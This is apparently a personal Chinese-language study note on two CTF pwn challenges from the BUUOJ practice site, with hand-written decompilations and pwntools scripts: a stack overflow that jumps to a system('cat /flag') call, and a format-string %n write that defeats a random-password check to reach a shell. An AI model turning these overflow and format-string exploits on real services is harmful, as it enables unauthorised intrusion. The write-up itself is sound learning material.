pwn刷题笔记 [ciscn_2019_n_1] [[第五空间2019 决赛]PWN5]
做几道pwn题,不使用ida的反汇编功能。
buuoj:ciscn_2019_n_1
检查保护机制,只开启了数据段不可执行
ida查看main函数汇编代码
根据汇编代码写出main函数的反汇编代码
setvbuf(cs:__bss_start, 0, 2, 0);
servbuf(cs:stdin@@GLIBC_2_2_5, 0, 2, 0);
func();
return;
关键函数func
其中cs:dword_4007F4的值为
因此func函数对应的反汇编代码为
func(){ byte var_30[44] //字节型,char dword var_4 //双字型,4字节浮点数,float var_4 = 0 put("Let's guess the number."); gets(var_30); if(var_4 = 0x41348000) system("cat /flag"); else loc_4006CF(); } loc_4006CF(){ puts("Its value should be 11.28125") }
记录学习到的指令和寄存器:
xmm:它们是 128 位宽,指令可以将它们视为 64、32(整数和浮点)、16 或 8 位(仅限整数)值的数组
movss:移动单精度浮点数
ucomiss:浮点数比较。改变寄存器ZF/PF/CF的值,表示大于/小于/等于
pxor:按位异或
由汇编指令可知可控制的字符串var_30距离ebp为0x30字节,则距离返回地址为(0x30+8)。又知system("cat /flag")的执行地址为0x4006BE。
pwntool构造payload
#!/usr/bin/env python3
from pwn import *
p = remote("node4.buuoj.cn", 27953)
payload = b"a" * (48 + 8) + p64(0x4006BE)
p.sendline(payload)
p.interactive()
成功获得flag
[第五空间2019 决赛]PWN5
查看保护,开启了canary,说明不能用覆盖返回地址的方式执行代码。
ida查看汇编代码。
挺长的,试试手搓反汇编
main(int x){ //执行push ebp之前,取出栈顶指针高四字节的栈元素,应该是main函数的参数 int fd char nptr[16] char buf[100] int var_c int anonymous_0[2] //对比ida反汇编,这里应该是int指针 sub_8049130(); //这个函数只执行了一条指令mov ebx,[esp+0],把当前栈顶指针的值赋给ebx,ebx用于在内存单元寻址 var_c = 0x14; _setvbuf(,0,2,0); int seed = time(0); _srand(seed); fd = _open("/dev/urandom",0); _read(fd, &dword_804C044, 4); //随机生成一个数放在内存&dword_804C044中 _printf("your name");
_read(0,buf,0x63); //获取输入 _printf("Hello,");
printf(buf); //危险函数,可构造格式化字符串泄漏内存地址 printf("your passwd"); _read(0,nptr,0x0F); //获取输入 if(_atoi(nptr) == &dword_804C044){ //判断输入是否与内存中804C044这个地址的数据相等 _puts("ok!!");
_system("/bin/sh"); } else{ _puts("fail"); } if(0x14 ^ var_c = 0) return else sub_80493D0() //与sub_8049130()类似 return
}
与ida反汇编对比。没有分析出int *v7这个指针。
分析:利用第一个输入,输入格式化字符串修改地址804C044的数据。再通过第二个输入,输入修改后的值
首先查看输入的字符串是printf()函数格式化字符串之后的第几个参数
数出来是第十个
验证是否正确
构造payload修改地址中的数据
#!/usr/bin/env python3
from pwn import *
p = remote("node4.buuoj.cn", 29470)
payload = p32(0x804C044) + b'%10$n' //'%10$n',表示把格式化字符串后第十个参数的数据当做地址,并把前面已经输出的字符数写入这个地址
p.sendlineafter("your name:", payload)
p.recvuntil("passwd:")
p.sendline("4") //'%10$n'前输出了b'0804C044'共四个字节,即字符数等于4
p.interactive()
成功打通